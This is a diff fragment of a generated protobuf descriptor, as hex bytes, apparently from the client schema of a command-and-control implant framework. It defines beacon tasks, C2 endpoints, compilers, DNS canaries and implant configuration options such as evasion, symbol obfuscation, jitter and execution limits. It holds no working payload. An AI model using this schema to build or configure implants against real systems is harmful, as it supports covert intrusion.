+ 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f,
+ 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f,
+ 0x6e, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74,
+ 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41,
+ 0x74, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41,
+ 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12,
+ 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06,
+ 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41,
+ 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01,
+ 0x28, 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52,
+ 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52,
+ 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72,
+ 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65,
+ 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64,
+ 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c,
+ 0x69, 0x6e, 0x65, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73,
+ 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a,
+ 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54,
+ 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x63, 0x0a, 0x09, 0x49, 0x6d,
+ 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72,
+ 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72,
+ 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73,
+ 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22,
+ 0x97, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69,
+ 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49,
+ 0x44, 0x12, 0x3c, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c,
+ 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64,
+ 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12,
+ 0x2a, 0x0a, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c,
+ 0x65, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61,
+ 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49,
+ 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49,
+ 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f,
+ 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52,
+ 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12,
+ 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18,
+ 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74,
+ 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
+ 0x48, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12,
+ 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05,
+ 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e,
+ 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12,
+ 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62,
+ 0x6f, 0x6c, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73,
+ 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54,
+ 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12,
+ 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0e, 0x20,
+ 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12,
+ 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x18, 0x35,
+ 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, 0x54, 0x4c,
+ 0x53, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x48, 0x54, 0x54, 0x50,
+ 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x48,
+ 0x54, 0x54, 0x50, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x57, 0x47,
+ 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x57,
+ 0x47, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x44, 0x4e, 0x53, 0x18,
+ 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x44, 0x4e,
+ 0x53, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65,
+ 0x50, 0x69, 0x70, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x49, 0x6e, 0x63, 0x6c,
+ 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49,
+ 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52,
+ 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x12, 0x20, 0x0a, 0x0b, 0x57,
+ 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a,
+ 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f,
+ 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45,
+ 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57,
+ 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20,
+ 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50,
+ 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74,
+ 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11,
+ 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61,
+ 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69,
+ 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13,
+ 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72,
+ 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f,
+ 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69,
+ 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28,
+ 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70,
+ 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61,
+ 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28,
+ 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73,
+ 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74,
+ 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f,
+ 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79,
+ 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a,
+ 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d,
+ 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24,
+ 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18,
+ 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65,
+ 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73,
+ 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d,
+ 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69,
+ 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65,
+ 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69,
+ 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74,
+ 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69,
+ 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06,
+ 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63,
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f,
- 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a,
- 0x0d, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e,
- 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22,
- 0x0a, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52,
- 0x43, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58,
- 0x58, 0x50, 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58,
- 0x50, 0x61, 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65,
- 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18,
- 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a,
- 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
- 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74,
- 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
- 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
- 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65,
- 0x72, 0x73, 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65,
- 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
- 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70,
- 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x1f, 0x0a, 0x09,
- 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d,
- 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xd7, 0x01,
- 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x49,
- 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49,
- 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a,
- 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44,
- 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72,
- 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65,
- 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67,
- 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72,
- 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c,
- 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65,
- 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0d,
- 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72,
- 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18,
- 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61,
- 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47,
- 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02,
- 0x49, 0x50, 0x22, 0x65, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f,
- 0x66, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66,
- 0x69, 0x67, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69,
- 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70,
- 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08,
- 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
- 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c,
- 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65,
- 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61,
- 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
- 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a,
- 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a,
- 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d,
- 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e,
